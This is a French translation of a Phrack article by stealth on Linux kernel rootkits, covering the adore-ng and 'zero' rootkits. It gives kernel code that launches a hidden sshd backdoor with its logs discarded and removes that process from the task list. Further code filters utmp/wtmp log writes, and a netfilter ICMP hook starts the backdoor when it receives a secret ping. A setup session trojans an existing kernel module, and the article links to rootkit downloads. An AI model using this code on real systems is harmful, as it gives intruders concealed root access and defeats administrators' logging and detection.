                           ==Phrack Inc.==

               Volume 0x0b, Issue 0x3d, Phile 0x0e of 0x0f

|=-----------------------------------------------------------------------=|
|=------------------=[ Kernel Rootkit Experiences ]=---------------------=|
|=--------------=[Traduit par dicagem[degenere-science]=-----------------=|
|=----------------=[ stealth <stealth@segfault.net> ]=-------------------=|


--[ Contenu

1 - Introduction

2 - Sick of it all?

3 - Let it log

4 - Let it rock

5 - Thinking about linking

6 - as in 2.6

7 - Last words & References


--[ 1 - Introduction

Cet article se focalise sur les rootkits noyaux et comment ils seront
influencs pas les backdoors dite "normales" dans le futur. Les rootkits
noyaux sont prsents depuis quelques temps, et ils le seront encore dans le
futur, ainsi quelques ides et perspectives vaudront le coup.
  Avant de lire cet article, vous devriez lire les articles sur les hooks
netfilter et le relink de lkm. L'implmentation de la backdoor dont je parle
et certains bouts de code se baseront dessus.
  Ne prenez pas trop cet article au srieux, si on lit entre les lignes, on
se rend compte que ce n'est pas un tutorial de piratage. Je dis juste que
j'ai de l'exprience en tant "qu'auteur d'adore" ces dernires annes. Cela
sera destin aux admins vexs dans les confrences, questions idiotes lors
de discours, mails d'appel  l'aide, messages du genre "adore sucks" sur
IRC, remerciements de sites en .edu etc.

--[ 2 - Sick of it all?

Les rootkits, et les rootkits noyaux en particulier, sont disponibles
depuis quelques annes maintenant, et quelques recherches ont t effectus
la dessus. Beaucoup de chialeurs et encore plus de baratineurs se font 
publier de temps  autre, mais ils sont peu intressants et je vous 
comprenderais si vous ne lisez pas plus d'articles  propos des rootkits. 
Cependant, de nouveaux obstacles sont apparus et les auteurs de rootkit 
doivent s'y interesser. Cela inclut de manire non exhaustive

-nouvelles versions de noyaux et extensions propritaires
-absence de symboles importants ( savoir sys_call_table)
-logging avanc et mcanismes d'audits
-durcissement du noyau, OS scuris etc
-dtection d'intrusion/dtection de comportement anormal
-outils avancs de "forensic" et mthodes d'analyse

Pendant que je m'occupe de certains de ces points dans adore-ng,par exemple
comme viter l'utilisation de sys_call_table[] par la redirection du la
couche VFS, quelques points sont encore des sujets de recherche. Les
rootkits incluent habituellement des log-cleaners pour les fichiers
[u,w]tmp, mais cela coince avec la rgle du "moindre privilge" du pirate,
qui se transforme en "moindre upload vers le systme". Donc, un point est
d'essayer d'viter tout log, au niveau de la backdoor (niveau LKM dans
notre cas) pour avoir le minimum de binaires sur le systme cible.
Les choses sur les systmes "surs" devront tre expliques dans un article
 part, et je sais dja quel partie du kernel je vais regarder chez
spender.

-[ 3 Let it log

Durant un discours  propos de rootkits dans une certaine universit par
une socit d'analyse, j'ai eu quelques ides sympatiques qui pourraient
amliorer l'invisibilit.
  Aujourd'hui, les mecs maitrisants ne patch probablement plus de binaire
de sshd, mais placent des systmes d'authentification  certains endroits
(oui, des mcanismes d'authentification distribus peuvent tre mauvais
pour les analyseurs).
Donc, un intrus qui va utiliser des outils standards (il peut aussi
installer ultrieurement des librairies et paquetages si ceux-la manquent;
sais-tu lequel des 3 admins a install le paquetage openssh sur le pc-5073
?) le rootkit LKM a d'une faon ou d'une autre  s'assurer que les logs de
sshd partent vers /dev/null. On peut le faire comme a :


static int ssh(void *vp)
{
char *a[] = {"/usr/bin/perl", "-e",
"$ENV{PATH}='/usr/bin:/bin:/sbin:/usr/sbin';"
"open(STDIN,'</dev/null');open(STDOUT,'>/dev/null');"
"open(STDERR,'>/dev/null');"
"exec('sshd -e -d -p 2222');",
NULL};

task_lock(current);
REMOVE_LINKS(current);
list_del(&current->thread_group);
evil_sshd_pid = current->pid;
task_unlock(current);
exec_usermodehelper(*a, a, NULL);
return 0;

}


Cela ressemble  ce qui pourrait s'appeler un kernel_thread() par un hook
netfilter, hein ? "-e" fait logger sshd vers stderr qui est /dev/null dans
notre cas. Excellent. "-d" est un argument sympa qui empche sshd de fork
et donc il n'y pas pas de ports ouverts qui pourraient tre dtects aprs
le login de l'intrus. REMOVE_LINK() permet au process d'etre invisible face
 ps et ses amis. Utiliser perl est ncessaire pour ouvrir stdin etc car
exec_usermodehelper() va fermer tous les fichiers avant de lancer sshd qui
fait faire confondre  sshd stderr avec la socket quand il est lanc
avec -e. Le log de utmp/wtmp/lastlog peut tre empch grce :

// parent must be evil sshd (since child which becomes the shell
// logs the stuff)
if (current->p_opptr &&
current->p_opptr->pid == evil_sshd_pid && evil_sshd_pid != 0) {
for (i = 0; var_filenames[i]; ++i) {
if (var_files[i] && f->f_dentry->d_inode->i_ino ==
var_files[i]->f_dentry->d_inode->i_ino) {
task_unlock(current);
*off += blen;
return blen;
}
}
}

Cela fait comme si le logu est sshd et qu'il essayait d'crire dans des
entres dans [u,w]tmp dans les fichiers appropris. Bien sur nous devons
rediriger la fonction write() dans la couche VFS et vrifier les numros
inode pour filtrer les bonnes critures. En effet, nous devons vrifier
le superblock aussi, mais sshd ne vas pas crire des fichiers avec le mme
inode sur un disque diffrent je pense. Certains modules pam ouvrent une
session quand quelqu'un se logge, donc un

  pam_unix2: session started for user root

pourrait apparaitre dans le log mme avec le sshd modifi avec la
redirection de log. Ainsi, le problme du log pourrait tre rsolu dans les
futurs backdoors/rootkits sans mettre la pagaille dans les binaires du
systme.

--[ 4 Let it rock


Celui-ci a besoin d'un argument pour faire dmarrer le sshd modifi, donc
nmap ne montre pas de ports ouverts. Bien sur. L'article sur netfilter
montre comment on peut construire ses propres hooks icmp pour cela. Je ne
vais pas dcrire cela ici, l'article le fait mieux que je ne le pourrais.
Juste un point important: d'aprs mon exprience, vous ne pouvez pas
dmarrer un programme dans le hook directement. Le noyau va crasher,
probablement parce que le hook a, d'une manire ou d'une autre, interfr
avec une routine de service interrompu. Pour venir  bout de ce problme,
nous fixons un flag pour que le sshd dmarre:

if (hit && (hit-1) % HIT_FREQ == 0) {
write_lock(&ssh_lock);
start_ssh = 1;
write_unlock(&ssh_lock);
return NF_DROP;
}

et puisque nous interfrons avec la couche VFS dans tous les cas, nous
redirigeons aussi l'appel d' open() (du FS particulier que /etc contient)
donc le prochain processus qui ouvre un fichier sur le mme FS qui dmarre
le sshd modifi. Cela pourrait tre un "ls" du root, ou que nous
dclenchons par nous-mmes, via le vrai sshd qui tourne:

root@linux:root# telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_3.5p1
SSH-2.0-OpenSSH_3.5p1 <<<<< copi par l'attaquant
Connection closed by foreign host.

Sur ma machine cela donne un log du vrai sshd:

sshd[1967]: fatal: No supported key exchange algorithms

Si quelqu'un n'entre pas une chaine de caractres, il aura son IP logge:

sshd[1980]: Bad protocol version identification '' from ::ffff:127.0.0.1

Il peut y avoir d'autres services (sans logs) qui ouvrent des fichiers et
execute le dmarrage du sshd modifi comme un httpd. Il est facile de voir
si c'est possible pour le rootkit noyau de supprimer certains messages de
log mais pour le moment cela dpend de l'application et de la connaissance
de la faon dont cela est logg. Ce ne serait pas une mauvaise supposition
de penser pour un intrus, mais les futurs intrus pourront utiliser des
systmes d'infection (infecter tous les logs/donnes qui sont causes par
un shell cach par exemple) pour effacer tous les logs qu'un admin pourrait
trouver utile pour dtecter un intrus.



--[ 5 Thinking about linking

Voila un article sur le LKM infection, merci de le lire, il vaut le coup
d'y passer le temps. Pourtant, on ne doit pas trop bidouiller avec avec le
format ELF, un simple mmap() avec une substitution du init_module() et du
cleanup_module() suffira. Un tel programme devrait faire partie d'un
rootkit, car les rootkits doivent tre facile  utiliser, donc ils peuvent
tre facilement installs par des admins qui installent des honeypots:

root@linux:zero# ./configure
Starting configuration ...
generating secret pattern ...
\\x37\\x8e\\x37\\x5f
checking 4 SMP ... NO
checking 4 MODVERSIONS ...NO

Votre commande ping secrte : ping -s 32 -p 378e375f IP

root@linux:zero# make
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall zero.c
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall -DSTANDALONE zero.c -o zero-alone.o
cc -c -I/usr/src/linux/include -DSECRET_PATTERN=\"\\x37\\x8e\\x37\\x5f\"\
-O2 -Wall cleaner.c
root@linux:zero# ./setup
Les LKM suivants sont disponibles :


af_packet ppp_async ppp_generic slhc iptable_filter
ip_tables ipv6 st sr_mod sg
mousedev joydev evdev input uhci
usbcore raw1394 ieee1394 8139too mii
scsi cd cdrom parport_pc ppa

Chose one: sg
Choice was >>>sg<<<
Searching for sg.o ...
Found /lib/modules/2.4.20/kernel/drivers/scsi/sg.o!

Copy trojaned LKM back to original LKM? (y/n)

...

zero.o sert au relinkage avec un des modules choisi, mais ds qu'il
est insr dans le noyau, l'intrus a besoin d'un seul module:
zero-alone.o.
Pour plus d'ides sur le linking et des approches sur des plate-formes
diffrentes, veuillez lire l'article [1].

--[ 6 as in 2.6

Au moment de l'criture de l'article, le noyau Linux 2.6 tait encore
en phase de tests, et sera bientt disponible en version stable.
Donc, il est probablement temps de regarder les nouveaux bugs.
Au [4], vous trouverez une version d'adore-ng qui marche dja avec le 2.6.
En plus des quelques nouveaux headers dont le rootkit aura besoin, les
signatures de quelques fonctions vont tre modifies. Une chose pas
inhabituelle. Pas trop difficile. En particulier la fonction init et
cleanup doit tre annonce au lanceur de LKM d'une faon diffrente:

#ifdef LINUX26
static int __init adore_init()
#else
int init_module()
#endif

et

static void __exit adore_cleanup()
#else
int cleanup_module()
#endif


...

#ifdef LINUX26
module_init(adore_init);
module_exit(adore_cleanup);
#endif

Pas de grosses diffrences. Adore-ng utilise dja la nouvelle technique VFS
pour cacher les fichiers et les processus, donc nous n'avons pas  nous
occuper de la couche sys_call_table. La partie qui prend la plus de temps
pour portel adore sur le noyau 2.6 est de trouver comment les LKM sont
batis. Cela ne suffit plus de les "cc" comme un simple ficher objet. On
doit les relier avec d'autres fichiers objets compils avec un fichier C
contenant certaines informations et attributs comme

MODULE_INFO(vermagic, VERMAGIC_STRING);

par exemple. Je ne sais pas pourquoi ils dpendent de cela.
Et c'est tout pour le 2.6 ! Pas magique du tout, except quelques hooks
introduits dans le noyau qui mriteraient un coup d'oeil.

--[ 7 Last words & references

Le rootkit zero ne cache pas de fichiers, et il cache uniquement le
processus sshd modifi en l'enlevant de la liste des taches. Ce n'est pas
judicieux de stopper le systme depuis un processus ou son fils. J'ai test
zero sur un systme SMP mais il a gel.
Peu importe que cela vienne de mon code ou de l'option -f de insmod que
j'ai du utiliser  cause d'une diffrence de version. Si quelqu'un peut
me donner (lgalement bien sur !) accs  une box SMP, contactez la team de
phrack ou moi mme. Zero est expriemental, donc merci de ne pas me dire
que vous ne l'aimez pas car il manque une interface graphique ou autre
chose.

Quelques liens:

[1] Infecting Loadable Kernel Modules (in this release)
[2] Hacking da Linux Kernel Network Stack (in this release)
[3] http://stealth.7350.org/empty/zero.tgz
(soon appears at http://stealth.7350.org/rootkits)
[4] http://stealth.7350.org/rootkits/adore-ng-0.24.tgz

|=[ EOF ]=---------------------------------------------------------------=|
